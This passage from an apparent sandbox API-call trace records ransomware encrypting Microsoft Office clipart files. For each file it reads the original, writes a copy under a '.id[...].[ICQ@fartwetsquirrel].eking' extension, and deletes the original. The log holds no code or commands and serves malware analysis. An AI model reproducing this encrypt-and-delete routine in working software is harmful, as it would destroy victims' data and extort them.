lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.391] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.391] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0264.392] ReadFile (in: hFile=0x3b4, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x32c, lpOverlapped=0x0) returned 1 [0264.400] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x330, lpOverlapped=0x0) returned 1 [0264.401] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.402] CloseHandle (hObject=0x3b4) returned 1 [0264.402] CloseHandle (hObject=0x3b0) returned 1 [0264.403] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0 [0264.403] SetEvent (hEvent=0x2b8) returned 1 [0264.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.406] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=13102) returned 1 [0264.406] CloseHandle (hObject=0x3b0) returned 1 [0264.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0264.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0264.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.407] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.407] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0264.408] ReadFile (in: hFile=0x3b0, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x332e, lpOverlapped=0x0) returned 1 [0264.410] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x3330, lpOverlapped=0x0) returned 1 [0264.412] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.412] CloseHandle (hObject=0x3b0) returned 1 [0264.413] CloseHandle (hObject=0x3b4) returned 1 [0264.413] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0 [0264.414] SetEvent (hEvent=0x2b8) returned 1 [0264.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.416] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=27050) returned 1 [0264.416] CloseHandle (hObject=0x3b4) returned 1 [0264.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0264.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0264.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.417] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.417] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0264.421] ReadFile (in: hFile=0x3b4, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x69aa, lpOverlapped=0x0) returned 1 [0264.425] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x69b0, lpOverlapped=0x0) returned 1 [0264.426] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.427] CloseHandle (hObject=0x3b4) returned 1 [0264.427] CloseHandle (hObject=0x3b0) returned 1 [0264.427] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0 [0264.428] SetEvent (hEvent=0x2b8) returned 1 [0264.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.642] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6996) returned 1 [0264.642] CloseHandle (hObject=0x3b0) returned 1 [0264.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0264.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0264.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0264.811] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.811] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0264.813] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1b54, lpOverlapped=0x0) returned 1 [0264.826] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1b60, lpOverlapped=0x0) returned 1 [0264.828] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.829] CloseHandle (hObject=0x354) returned 1 [0264.829] CloseHandle (hObject=0x394) returned 1 [0264.829] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0 [0264.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0264.831] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4408) returned 1 [0264.831] CloseHandle (hObject=0x394) returned 1 [0264.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0264.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0264.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0264.832] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.832] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x354 [0264.833] ReadFile (in: hFile=0x394, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1138, lpOverlapped=0x0) returned 1 [0264.847] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1140, lpOverlapped=0x0) returned 1 [0264.849] WriteFile (in: hFile=0x354, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.849] CloseHandle (hObject=0x394) returned 1 [0264.849] CloseHandle (hObject=0x354) returned 1 [0264.850] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0 [0264.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0264.852] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19476) returned 1 [0264.852] CloseHandle (hObject=0x354) returned 1 [0264.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0264.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0264.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0264.852] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.853] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0264.854] ReadFile (in: hFile=0x354, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x4c14, lpOverlapped=0x0) returned 1 [0264.865] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x4c20, lpOverlapped=0x0) returned 1 [0264.866] WriteFile (in: hFile=0x394, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.866] CloseHandle (hObject=0x354) returned 1 [0264.866] CloseHandle (hObject=0x394) returned 1 [0264.867] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0 [0264.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.874] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3350) returned 1 [0264.874] CloseHandle (hObject=0x3b4) returned 1 [0264.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0264.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0264.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0264.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0264.875] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.875] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0264.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b0 [0264.879] ReadFile (in: hFile=0x3b4, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xd16, lpOverlapped=0x0) returned 1 [0264.881] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xd20, lpOverlapped=0x0) returned 1 [0264.883] WriteFile (in: hFile=0x3b0, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0264.883] CloseHandle (hObject=0x3b4) returned 1 [0264.883] CloseHandle (hObject=0x3b0) returned 1 [0264.884] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0 [0264.884] SetEvent (hEvent=0x2b8) returned 1 [0264.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0264.886] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1330) returned 1 [0264.886] CloseHandle (hObject=0x3b0) returned 1 [0264.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0265.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0265.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0265.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0265.041] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.041] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0265.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 